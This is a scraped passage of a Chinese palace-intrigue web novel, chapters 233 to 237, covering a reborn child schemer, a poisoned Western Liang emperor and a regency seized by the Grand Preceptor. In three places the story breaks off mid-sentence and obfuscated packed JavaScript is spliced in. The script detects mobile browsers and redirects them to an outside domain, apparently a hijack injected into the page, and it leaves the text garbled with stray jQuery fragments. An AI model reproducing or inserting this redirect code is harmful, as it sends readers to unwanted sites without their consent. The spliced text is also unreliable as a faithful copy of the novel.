但凡突然冒出来的人都会改变当前局势,他已经早就看透了,比如小张氏,小囡囡,这些人都改变了本来的轨迹,难道这个耶律洪基也跟温令仪有关系? 这个想法吓得他一身冷汗。 他突然觉得自己的命运已经完全不受控了,甚至有了一种遭报应的感觉。 殊不知,他的生母叶染秋从发现温令仪变了开始,一直到死的时候都有这样的感觉,而事实上死的很符合她的感觉。 “你说!”耶律安抬头看着晏明昭。 这个时候哪里还有一丝一毫洒脱模样,整个人像是利刃出鞘,不争不抢?笑话,这会儿都有了人挡**,佛挡杀佛的气势了。 晏明昭摇头:“不知道说什么。” “不知道说什么?你不是说自己是重生之人,知道未来的所有事情吗?现在就不知道了?”耶律安走过来,伸出手抓住了晏明昭的领口:“你算计我!” “您高看我了,我怎么敢算计您,我是想要攀高枝,自保,也想要荣华富贵,择个明主。”晏明昭两只手扒着耶律安的手臂,整个身体都像是挂在耶律安的手臂上了似的。 耶律安神色阴冷:“我能摔死你!” “我能拿到晏家的兵权,我会忠诚于你,”晏明昭说:“雁门关的人,都是你的人,你足以和海蓝一族抗衡,权利不都是染血的吗?皇座之下那个不是累累白骨,况且您有底牌。” 耶律安微微眯起眼睛,显然在权衡利弊。 晏明昭索性把心一横:“若是当今皇上驾崩,您的密旨在手,那些人就是谋权篡位之人,发兵也是情理之中,师出有名,得民心者得天下,你的手里还有巫医族。” 耶律安冷笑:“你倒是很了解我啊?到现在你还想要利用我啊?” 第233章 晏怀卿怎么也没想到自己的结局 晏明昭摇头:“我哪里敢利用您,是我所知道的未来就是如此,您会成为西凉的皇帝,但我前世没来到过西凉,并不知道都发生了什么,就目前情况看,唯有皇上驾崩,才能新君继位,您若错失良机,拿到和去抢,所需要的过程是不一样的。” 耶律安淡漠的扫了眼晏明昭,这个道理自己不懂吗? 只不过晏明昭的能耐自己可没看出来,到了雁门关才知道晏怀卿调了旧部,跟西凉的将士们分开后,直接进山了。 在晏怀卿没有来雁门关的时候,晏家这些旧部就是占山为王的山匪,一旦进山就犹如猛虎归林,别说拉拢或蚕食,就是见都见不到。 “若你能拉晏家军出山,本宫封你为平南大将军。”耶律安说。 晏明昭立刻单膝跪地:“请吾皇差人送我去晏家军所在的山中。” 耶律安立刻让人送他离开。 不单单是为了拉拢晏家军,更多的是担心晏明昭暗中使坏,如今他需要把神女山里的将士们调遣出来,秘密的往燕京城去,燕京城那边的人该动手了,他尊贵的父皇要尽早去地底下给母亲赔罪! 雁门关附近群山为险,晏家旧部占山为王的上头叫鹰嘴崖。 盘山路往上一路到半山腰,就是晏怀卿暂时容身之地,他逃回雁门关便带着自己的人退走了,留下了群龙无首的西凉军,不知道怎么走漏了风声,罗政率领大夏将士们多次攻打雁门关,据说西凉损失惨重,不过也不知罗政怎么想的,似是没有要抢回雁门关的打算,每次打了胜仗都收兵退走。 晏怀卿把最后一粒解药服下后,已经过去三日了,这三日生不如死,每天都在无法言说的痛苦中死去活来,能勉强支撑着露面,都是为了能握住手里这点儿筹码,在感受到死亡威胁的时候,他这辈子就从来没有过如此强烈的、想要活下去的感觉。 晏明昭找到这里的时候,看到晏怀卿枯瘦到皮包骨,双目凸出,赤红的眼白的模样,竟有一种这也是很快就会死掉了的人。 “父亲。”晏明昭跑过来,眼泪汪汪的跪倒在晏怀卿面前:“您受苦了,儿子回来了,带来了好消息。” 晏怀卿笑了,那笑声都飘忽,身体极度虚弱,说话都上气不接下气,俯首看着晏明昭:“你的话,鬼都不信!” “大皇子耶律安来雁门关了。”晏明昭跪行两步到晏怀卿脚边:“燕京城里的天变了,大皇子有密旨,一旦西凉皇帝驾崩,大皇子即刻登基。” 晏怀卿的笑容凝在了脸上,突然问了句:“温令仪还在燕京吗?” 这下反倒把晏明昭给问蒙了,他不敢相信的看着晏怀卿:“父亲,温令仪怎么会还留在燕京?您走了之后,她必定会逃之夭夭啊。” “跑了?她会跑了吗?”晏怀卿摇头,温令仪肯定不会跑的,她跟萧玄策都能勾结到一起,哪里会轻易的逃走? 只是,大夏的皇帝还被蒙在鼓里,还以为叛国的只有晏家,猪脑子的永元帝活该丢了江山,温家早就叛国了,还有那个裴祈安,必定是早就和温家联手了。 自己像是个跳梁小丑,在京城里就是这般,到了雁门关更沦落成了挡箭牌,真是可笑啊。 要不是自己率领西凉的将士们破了雁门关,打到了泾河府,怎么会断掉了退路?当初为何从泾河府撤回了雁门关? 他只觉得自己脑子里乱哄哄的,很多事情都模糊了。 抬起手,两只手抱着头摇晃了好几下。 晏明昭眼看着父亲额角的青筋都凸起来了,像是要破开皮肉似的,赶紧**了几步:“父亲,是不是温令仪给您下毒了?” “是啊!是啊!温令仪给我下毒了!”晏怀卿面露狰狞的站起身,发疯了一般嘶吼着,恶狠狠的盯着晏明昭:“你们这些讨债鬼!都是来害我的!都是来害我的!你那个不要脸的娘,还有你这个认贼作父的孽子跟温令仪没什么两样,都来害我!都来害我啊!” 晏明昭吓得步步**,眼看着晏怀卿甩掉了束发冠,披头散发的到处乱跑,用头往墙上撞,额头染血都根本感觉不到疼似的,这样的父亲还有什么用? “父亲,我去找人来就您。”晏明昭喊了这么一句,扭头撒腿就跑,他怕晏怀卿抓住自己,自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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晏明昭抬起满是眼泪的小脸,看着眼前的赵诚,四十出头的年纪,浓眉豹眼,心里电光火石一瞬间便想起来了,这人上一世看到温慕阳自尽,当晚悄悄带着手底下的兄弟离开了自己,后来任凭自己怎么去拜访,都不肯再出山。 天助我也! 晏明昭心里狂喜,走过来扑通就给赵诚跪下了:“赵伯伯,我父来不及对众位说明,他忍辱负重,可怜啊!” 赵诚心头一惊:“何出此言?” 第234章 我们可不是吃素的! 赵诚看着晏明昭,心情极为复杂,伸出手把他扶起来:“仔细说来听听。” 晏明昭哽咽着:“我父是诈降啊。” 此话一出,屋子里的人是都愣住了。 赵诚给手底下的人使了个眼色,抱起来晏明昭往外走去,来到旁边的院子,让人送进来吃喝,等晏明昭平静下来,才让所有人退下,问:“少主都知道什么?” 晏明昭擦了擦眼角的泪痕:“我并非是父亲和温家女所生,我的生母是父亲的心上人叶染秋。” 这件事赵诚是有耳闻的,只是事关后宅,他只觉得晏怀卿是糊涂的,放着镇国公府的嫡女不要,竟跟别人厮混,若是个能担得起秦国公府的人,如今必定和温家站在一处,到那时候,求何不得? “我父早就知道温家和裴祈安有反叛之心,温令仪更是勾结了萧玄策,其中很多事一时半刻说不清,但赵伯伯,裴祈安往西域三十六国时,江湖门派齐齐出动,助萧玄策一统西域三十六国后全身而退,若不是有极大地好处,能吗?”晏明昭说。 这话,赵诚连连点头。 “我祖父早就断言,温家和裴家必定会叛国,父亲忍辱负重投靠西凉,实则是为了止战于国门之外,让大夏百姓免于战祸,若不然不能从泾河府撤回雁门关。”晏明昭说。 赵诚信了,十分相信,他怎么也不可能怀疑一个三岁的孩子,有如此心智又能巧舌如簧。 “本来我父还想要劝说温家切不可一意孤行,陷百姓于苦难之中,可他们非但不听,还让温令仪给我父下毒,我父无奈之下逃走,就连我都顾不上了。”晏明昭说到这里又哭了。 赵诚蹙眉:“少主如何脱身的?” “不是脱身。”晏明昭说:“我一直都在西凉大皇子耶律安身边,是质子,因为晏家只有我这一点儿血脉,唯有如此才能让他相信我父是真心实意帮他,只是我父低估了耶律安,他竟然把神秘的巫医族都收入麾下了,燕京城里乱成了一锅粥,耶律安带着西凉皇帝的遗诏来到雁门关收兵权,虽然我父**,但是他的计划成功了,西凉即将陷入内乱,无暇顾忌大夏这边了。” 赵诚深吸一口气,这话挑不出毛病,可信度很高,耶律齐死后,耶律安趁机**,这是不管在任何一个国家都会出现的夺嫡局面。 并且晏怀卿所作所为都跟晏明昭说的过程吻合,原来是错怪了晏家。 可是如今该怎么办呢? 看这么小的孩子,赵诚只能叹一声可怜,沉吟片刻才说:“少主,可想过往后该怎么走?” “我虽年幼,但父亲对我给予厚望,不然也不会把这些告诉我,如今父亲不在了,可我依旧要完成他没有完成的事,赵伯伯,我要带着你们去耶律安跟前,取得他信任,兵不血刃夺回雁门关,等他回去**的时候,我们可以趁机立功,让朝廷知道我晏家并非投敌叛国的人,是忠臣。”晏明昭双目炯炯,两只手握着拳头,颇有些视死如归的气势。 赵诚起身:“好,那就让我们再为大夏百姓做点儿事吧。” 这话,听着轻飘飘的。 可对于晏明昭来说,除了狂喜再无其他,他就说自己重生归来,怎么能如此倒霉,现在看来还是因为太小了,时机不对。 不过,只要自己运筹得当,所求还是会如愿的。 晏明昭没有着急离开,而是在赵诚的操持下为晏怀卿收殓下葬。 这鹰嘴崖里,住着这些人的家眷。 晏明昭带着赵诚这些人离开的时候,对着送别的老弱妇孺跪下磕了三个头,这一举动让赵诚和这些人都有了誓死保护少主的念头了。 哪里知道,这不过是晏明昭收买人心的手段罢了。 当耶律安看着晏明昭被众星捧月般的护送到雁门关的时候,心里对晏明昭的看法略有改变,在这个时候,谁手里有兵,谁就是可用之人,更不说晏明昭虽然年纪小,但重生之人对行军作战必定在行,可以派上大用场。 为表示自己对晏家军的礼遇,晏明昭住进了将军府。 晏明昭再次来到将军府,看着院子里熟悉的一切,死死地压住心里的得意,晏家军的军心不散,自己就大有可为,想当初自己刚来雁门关的时候何等卑微?如今成了这座府邸的主人,成了晏家军的少主,简直跟做梦一样。 一切都交给赵诚安排,当晚,晏明昭跪在赵诚跟前:“赵伯伯,如今明昭再无仰仗,唯有祖宗的福德庇护,可我到底是个孩子,什么都不懂,想要认赵伯伯为义父,请赵伯伯收下明昭,等明 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赵诚如获至宝,更是对晏明昭疼爱有加,非但带着练兵,还会逐字逐句的教他兵书上的阵法,惊喜的发现晏明昭是天生的将帅之才,一点就透,更欣喜若狂。 就在晏明昭努力学习兵法,操练晏家军的时候,耶律安的人行刺西凉皇帝得手,西凉皇帝驾崩的消息传来,赵诚一把握住了晏明昭的手:“这是开始了?” “义父稍安勿躁,我们不用动,等耶律安来求我们。”晏明昭说。 赵诚笑了,慈爱的顺了顺晏明昭的后背:“少主放心,我们可不是吃素的!” 西凉皇宫的凤仪宫里,温令仪额头都是冷汗,银针一根根刺入西凉皇帝的穴位里,抬头看了眼西凉皇后。 西凉皇后微微点头,温令仪最后一针没有用,而是起身走出来了。 “为何停下来?”西凉皇后出门,压低声音问。 温令仪回头看了眼:“最后一针下去,人一定会苏醒过来,寿命不过七日之数,还有之前用的药也到了最后关头,会发狂,所以要等一等。” 西凉皇后抬眸看着血色夕阳,等一等,也好!事急从缓嘛。 第235章 大国师下山 西凉皇帝**,生死不知。 朝中动荡之下,群臣只能跪在凤仪宫外,请求皇后出面主持大局,毕竟唯有皇后所出的六皇子有了子嗣,虽然那皇孙才四个多月,怎么也是皇族的血脉延续。 当然,这其中有着海蓝一族的关系,甚至绝大多数都因为海蓝一族,强大的家族注定在这场夺嫡之战中胜出,因皇后手里已经有了底牌。 凤仪宫的大门紧闭,朝臣跪拜并没有让皇后走出来。 有人提议去请大国师。 大国师从不临朝,概因巫医族还在的时候,大祭司的权利比皇权还要高,君权神授,大祭司就是神在人间的侍者,自从巫医族被清除后,大祭司这个职位就改成了大国师,形同大夏的钦天监监正,不过权利是很玄妙的,大国师只听从皇上的差遣,余下任何人都见不到他,极为神秘。 “此时,确实该请大国师出面。”有人附和。 如此,这些朝臣又往大国师住着的神庙来。 神庙距离皇宫有十里之遥,并且神庙建在半山腰,这座山叫圣山,从神庙往山常年积雪,白雪皑皑,山脚下四季花开,这样神异的山,只有西凉有,且西凉也只有这么一座山,所以叫圣山。 群臣为了表达此刻的心情,极其前程的步行登上,天阶两边的石栏刺骨冰寒,原来不知不觉,草原的冬天已经来了,特别是今年的冬天,冷的厉害。 神庙的大门敞开着,群臣面面相觑,毕竟从神庙再次启用开始,这扇大门就没有打开过。 如今站在神庙大门外,这些人反而不敢进去了。 谁都不知道神庙里到底什么样子,巫医族的传说已经久远了,但有一件事代代相传,人尽皆知,那就是巫医族的人都死在了神庙里。 大国师出现的次数屈指可数,每次出现都是黑色的斗篷,苍白的脸色掩藏在兜帽中,没人见过真容。 越是神秘,越是在此刻让人心生恐怖。 众人想要找到主心骨的时候,才发现海蓝嘉善并不曾出现过,从皇上**,朝臣想要请皇后出面主持朝政开始,海蓝嘉善就没有露过面。 “这如何是好?” 众人交头接耳,眼看着天色已晚,进不进去都没有商量好。 脚步声不轻不重,但摄人心魄,像空谷足音,每个人都听到了。 不约而同的看向神庙敞开的大门,当象征着神权的权杖出现,连握着权杖得手,黑的长袍大袖,都让这些人忍不住想要跪拜,斜阳如血的时候,大国师站在了神庙门前,身后的大门缓缓地关闭,那关上的神庙大门发出来很沉重的摩擦声,这摩擦声更让这些人胆寒,谁都知道神庙里只有大国师一个人,这么厚重的大门,竟自动关闭了。 “你们,随我下山吧。”黑袍里的人依旧看不清容貌,但能看到苍白尖削的下巴,声音并不苍老,透着怪异的沉稳,以至于这些人都没有一点儿反抗的心思,跟在大国师的身后下山。 下山的路,比上山更难,可前头那脚步轻松,整个人都极为轻盈的大国师似乎没有意识到这些养尊处优的朝臣,早就累得气喘如牛了。 天完全黑下来的时候,天空飘起了雪,这是西凉今年的第一场雪。 山脚下,大国师回头看了眼天阶上的人,迈步往燕京城去。 燕京城里。 温令仪站在窗前,看着飘飘洒洒落下的雪花,紫貂斗篷陪在身上的时候,她出声:“那个大国师是谁的人?” “耶律安的人。”裴祈安温柔的帮温令仪系上带子:“不过,现在是谁的人,显而易见。” 温令仪抬眸看裴祈安:“你暗中出手了吗?” 裴祈安看着温令仪的眸子,他十分喜欢这样的感觉,在温令仪的眸子里,有两个小小的自己,她的眼里都是自己。 “别低估了海蓝家族的能耐,如果大国师出了神庙,那走出来的人就一定是海蓝家族安排的人,我们虽然能出手相助,但永远不会走到人前,甚至都不能留下任何把柄的。”裴祈安伸出手把温令仪拥入怀中,两个人一起看落雪,外面的灯笼十分明亮,雪花飘落下来的样子看得清晰。 温令仪靠在裴祈安的怀里:“是啊,不然我们就很难全身而退。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983364|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “现在说全身而退还太早,这不过是开始罢了。”裴祈安轻轻嗅着温令仪发间的兰花香:“祖父和罗老大人已经到京城了,接下来也是大夏国的隆冬。” 温令仪微微挑眉:“永元帝还有什么血脉后人吗?” 太子**,绝嗣了。 所以大夏国的隆冬会是什么样子的?谁知道呢? 裴祈安轻声:“后人没有,但永元帝与我年纪相仿,大夏国真正的隆冬是从郎家忘恩负义就开始的,朝廷要招安,要反过来攻打西凉,那永元帝就会效仿他的祖辈,卸磨杀驴。” 温令仪缓缓地吸了口气:“可是我们分身乏术。” “阿宁,我们并非无所不能,再者,如今你觉得永元帝还会对祖父和罗老大人不利吗?”裴祈安说。 温令仪没说话。 心里清楚,当然不能,毕竟用人之际,毕竟无人可用,而如今的大夏国,比西凉还不如,只是不知祖父是否能和罗老大人一起,力挽狂澜。 这一夜,雪就没有停下过。 这些臣工一个个好不容易回到了燕京城外,发现大国师就坐在城门前,盘膝而坐,落雪满身,权杖立在他旁边。 这些人都来到大国师身后,有人仗着胆子上前:“大国师,为何不入城。” “不急。”大国师盘膝坐着,纹丝未动,根本就没有立刻入城的意思。 这位不进城,他们就只能陪着,一个个缩在马车里瑟瑟发抖,又累又困还不敢睡,熬得心里油煎火燎,别提多痛苦了,可有什么办法?国不可一日无君,如今他们群龙无首,不得不耐下性子忍着。 天,亮了。 这些大臣昏昏欲睡的时候,坐在雪地里,像是雪人一般的大国师缓缓起身,手握住了权杖,权杖上的金铃响声清脆,众人看着大国师一步步走向城门,城门缓缓打开的时候,大国师的身影在白茫茫的世界里,显得孤寂也挺拔。 凤仪宫门前,大国师昂首挺胸,手里的权杖一震,那铃声可就不是清脆了,竟然有洪钟大吕一般的声音:“东方文和,拜见皇后娘娘。” 第236章 文和临朝,兵临城下 凤仪宫的门,缓缓打开,皇后容色憔悴的出现,走到大国师面前,微微垂首行礼:“国师,皇上如今情况十分不乐观,请随本宫进来,或许能有回天之力。” 大国师颔首还礼:“让朝臣同往。” “可。”皇后坦坦荡荡的让开。 众朝臣跟在大国师之后,缓步进了凤仪宫。 凤仪宫大殿里,朝臣看着躺在床榻上的皇上,双目紧闭,脸色发青,整个人都脱相了。 大国师走过去,单膝跪在地上,试了试皇上的鼻息,确实还活着,可是这活着的人,比**也强不到哪里去。 诊脉的时候,大国师眉头微蹙,这表情唯有坐在对面的皇后看得清楚。 良久,大国师转过头看着朝臣:“陛下虽**,但陛下乃神子,心脉未曾受损,可所中之毒不解,若强行唤醒,后果不可预估。” 众朝臣一个个都累得头晕脑胀的,听到这话都没主意,当然了,就是心里有想法也得憋着,谁敢担这样的责任? 皇后见这些人都不坑声,轻轻地叹了口气:“国师,可否请来药族的高人,救皇上于危难之中?” “皇后怎知这毒不是药族的手笔呢?当年神庙里的那一场浩劫,是巫医族要永世铭刻的仇恨,只是大皇子为何要招惹他们呢?”大国师说。 朝臣这才恍然,哪怕大国师没有明说,但谁是傻子啊? 本来又累又困的朝臣都激灵灵打了个冷颤,再看躺在榻上的皇上,都同情的很。 “国师,请皇后临朝吧。”朝臣可没忘记最开始请大国师下山的初衷。 大国师看向了西凉皇后。 皇后起身,跪在大国师面前:“神侍,信女不能临朝,自古以来就没有女子临朝的先例,就算此事跟耶律安有关系,可也是猜测,未必是真。” “皇后娘娘。”朝臣给皇后跪下了:“平南王有子嗣血脉,您要为平南王的子嗣守住西凉的江山呐。” 大国师说:“请皇后娘娘把小皇孙抱来。” 皇后起身,片刻就亲自抱着小婴儿进来。 大国师接过去小婴儿,抱在怀里低头看了片刻,起身把小婴儿放在皇上的身边,单膝跪地:“西凉皇族血脉不绝,东方文和就会护西凉安宁,请天神见证,东方文和与小皇孙结契,从此以后,东方文和是小皇孙的仆从。” 皇后听到这话,震惊的脸色发白。 她知道大国师是耶律安的**,何为**?就是会护着耶律安一辈子的人。 可要给小皇孙当仆从! 难道他也认定了自己的孙儿会成为西凉的未来之君吗? 心里这么想,忍不住仔细打量这位不怎么露面的大国师,恰好看到他手腕上有梅花印记。 梅花? 这下,皇后全明白了,这位那里是大国师?分明是海蓝家族的人。 海蓝家族从掌握大权后,一直都没有断了寻找巫医族,其中找到了一些跟巫医族有关系的人,这些人真心归顺后,都会在手腕三寸处,刺上梅花印记。 就算是她,也没见过真正能把梅花印记刺在手腕三寸处的人,这等秘密是在自己入宫时候,祖母亲口告诉她的,身处绝境,带着梅花印记的人会救她。 怪不得海蓝嘉善不曾露面,原来是在暗中布局。 福至心灵,皇后走到大国师跟前:“国师,请您临朝监国。” 这让所有朝臣都懵了的决定来得太突然,国师监国?接下来会怎么样?大皇子不知道接下来会作甚,这位小皇孙才四个多月,难道皇后不知道这样的安排,极有可能是把西凉国拱手让人了吗? 大国师沉吟良久,就在所有朝臣都心乱如麻,又急不可耐的时候,说了句:“好。” 这就答应了? 皇后倒是干脆利索,下了懿旨,大国师东方文和乃国之柱石,如今危难之际,大国师挺身而出,唯盼力挽狂澜。 这懿旨刚下。 城门守卫来报:“报!大军兵临城下,大皇子有传位诏书。” 东方文和接了皇后懿旨,起身擎着懿旨往外去:“众臣随文和往大殿议事。” 皇后目送这些人离开,回身抱着小皇孙离开,吩咐白音照顾好皇上。 至于怎么照顾,白音是最懂皇后的人,当然不用多说。 而皇后趁机开始清理后宫。 消息同样传到了裴祈安这里,裴祈安正在跟温令仪下棋。 温令仪落下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998482|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子:“耶律安操之过急了。” “他怕夜长梦多,再者,他笃定大国师是他的人,可以做内应的。”裴祈安举棋未落,看着棋盘上的局势:“雁门关有一个人,是个人物。” 温令仪抬眸:“我们的人?” “不是,但其人刚正不阿,可用。”裴祈安没卖关子,说:“叫赵诚,当初晏怀卿叛国投敌后,赵诚带着曾经的旧部退隐山林,如今回到雁门关辅佐晏明昭,至于晏明昭怎么说服赵诚出山的不得而知,可晏怀卿**。” 温令仪猛然听到这个消息,愣怔了片刻:“**?怎么**?” “晏明昭去鹰嘴崖当日,晏怀卿就**,可见晏明昭耍手段还是很有一套的,能瞒得住那么多人,还能带着这些人下山,如今掌管雁门关,下一步怎么做,看不透。”裴祈安递过来茶。 温令仪接过来茶送到嘴边,心里怅然若失,这就像是你恨一个人,恨透了,恨不得千刀万剐,可还没等自己动手呢,这人就**。 “是勾起往事了吗?”裴祈安目光灼灼的盯着温令仪,明知道温令仪对晏怀卿是半点情分也没有,可看她为了晏怀卿失神,还是心里会难受呢。 温令仪点了点头:“没想到,竟然会如此短寿。” “阿宁,你觉得晏明昭会做什么?”裴祈安不想温令仪再费一丝一毫心思在晏怀卿身上,岔开了话儿。 温令仪抿了口茶:“会给晏怀卿立牌坊,会说晏怀卿并非叛国投敌,而是忍辱负重,止战与过门之外。” “那他会再观望的,除非耶律安败了。”裴祈安落下一子。 温令仪叹了口气:“我又输了。” 裴祈安笑着牵起温令仪的手:“我们在这里做完最后一件事,就离开,回去漠北静观其变,到时候再请教阿宁。” “你啊。”温令仪倒也没揭穿裴祈安的安抚,只是最后一件事什么时候做,自己也等的有些着急了呢。 裴祈安往外看了一眼,战鼓声音隐隐约约:“耶律安是个有本事的,等等看。” 此时。 大国师东方文和立在城墙之上,手里的权杖让人一眼就能认出来,他气沉丹田:“皇上还在,尔等是要谋反不成?耶律安呢?” 第237章 西凉皇帝醒了 耶律安坐在最后面的战车里,他看不清楚东方文和,但那一身标致性的黑袍,大国师竟然都从神庙出来了,这让耶律安有些诧异,毕竟在他看来,能让大国师从神庙出来的人,唯有自己,京城里的情形,他是知道的,但并不相信皇上没死,认为是皇后和海蓝一族用了障眼法。 耶律齐已经**,随便找个女人,带个孩子,冒充是耶律齐的血脉,只要皇后认,这事儿连翻转的机会都没有,这样的伎俩谁看不出来?不过是很难找到揭露真相的证据罢了。 而他确实在查,时间太短,连这个女人身份的蛛丝马迹都没有,无从下手。 越是完美,越证明是假的。 他没有工夫浪费在这上面,只要全部杀掉,不留后患,自己就可以高枕无忧。 “大殿下,国师说皇上还活着。” 前面差人过来送信儿。 耶律安看了眼身边的格日勒。 格日勒一改往日的装扮,白色绣五色丝线的长袍,头上戴着花冠,白纱遮面,手里有一个金色的权杖,这权杖便是巫医族的象征。 “我可以入宫去为皇上治病,祈福。”格日勒说。 耶律安立刻摇头:“绝不可以,怎么能让你去冒险,如今不用管,只要不相信,我们就有足够的理由攻破城门。” 格日勒轻轻地握住了耶律安的手:“听夫君的。” 她从跟耶律安相识那天开始,目的就是为了能让巫医族重见天日,甚至重回祖辈的荣光,神庙里的血流成河是每一个巫医族人永远不能忘记的痛,更是不能不报的仇恨。 权利,是血和累累白骨堆砌出来的,她比任何人都明白,因手握大权的人,就握住了别人的生死。 曾经的巫医族生死都在别人手里,以后的巫医族要掌握别人的生死。 若说意外,耶律安的真心是意外,自己爱上了耶律安也是意外,不过这并不妨碍她达成自己的目的,并且辅佐耶律安成为皇帝,那么以后自己的孩子就会成为国君,对巫医族来说,那才是最好的结果。 耶律安对这位同床共枕多年的妻子,如今多了敬畏,他觉得自己之前被蒙在鼓里的日子,如有神助一般对格日勒极好。 其实,他不在乎女人,但在乎外人的评价,娶格日勒就是给所有人看的,让所有人都觉得他没有野心,对格日勒情深义重,目的也是如此,这边是无心栽柳柳成荫,老天都在成全自己! “攻城!”耶律安下达命令:“除非父皇亲自露面,妖后祸国殃民,群臣助纣为虐,海蓝一族把持朝政,外戚干政,身为西凉天家正统,必须清君侧!” 消息传到了大国师的耳中,东方文和冷哼一声,举起权杖:“迎敌!大皇子野心勃勃,兴兵而来霍乱朝纲,人人得而诛之!” 没有任何多余的废话,耶律安的兵马攻城,东方文和率兵马护城。 城中百姓都不敢出门,惶惶不安。 温令仪和裴祈安倒是安宁,二人足不出户,下棋、品茶。 “要等几日了。”温令仪抿了口茶:“皇后一定会趁机削弱兵力,不管是耶律安的,还是皇城内的。” 裴祈安笑望着温令仪:“你也开始钻研兵法谋略了吗?” “到也不需要钻研,海蓝一族是文臣,手里的兵马能有多少?不趁机削弱两方兵力,到最后收场的时候怕横生枝节。”温令仪放下茶盏:“皇后当日不肯让皇帝醒来,其实就是这么想的,等耶律安看到他的父皇活着,甚至发疯了一般和他对阵,到时候耶律安的路就走绝了。” 裴祈安给温令仪续茶:“耶律安到底是太心急了,手里有巫医族,单枪匹马入京,兵马埋伏在外,让巫医族的人出手,他的父皇未必就不会醒来,这个时候,谁能你让皇上醒来,谁就是忠臣,至于什么诏书,能有什么用呢?” “皇后还会让刺杀皇上的事,落在耶律安头上。”温令仪说。 裴祈安笑了:“本来就是他做的,海蓝一族的人手里有了铁证后,皇上也就该醒了。” 百姓不敢出门,官员都噤若寒蝉,可大国师的命令是一 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温令仪走过去,先诊脉,取出来药丸让白音用温水化开,皇后一个字都没问,只是盯着温令仪手里的银针。 银针刺破檀中穴,温令仪提了提针,三次后取出来银针,吩咐人扶着西凉皇帝,让他的身体保持侧身位,绕道后面一针下去,西凉皇帝猛地张开嘴,一大口黑红还极为腥臭的血吐出来,人也睁开了眼睛。 “皇上。”皇后满脸泪痕的跪在床边,用帕子给西凉皇帝擦嘴:“您可算醒过来了,呜呜呜,再不醒来,西凉休矣。” 西凉皇帝也没想到自己能醒过来,看着面前几乎都认不出来的皇后,声音沙哑:“佛尔果春?” “皇上。”皇后愕然的瞪大了眼睛,这一刻的担忧丝毫不假,她是真害怕皇上不认得自己了,那可就麻烦了。 “皇后娘娘无需担心,毒血已经吐出来了,皇上是因**的原因,暂时还没有那么清明。”温令仪立刻说。 突然听到有人用大夏官话,西凉皇帝抬眸看温令仪:“你是谁?”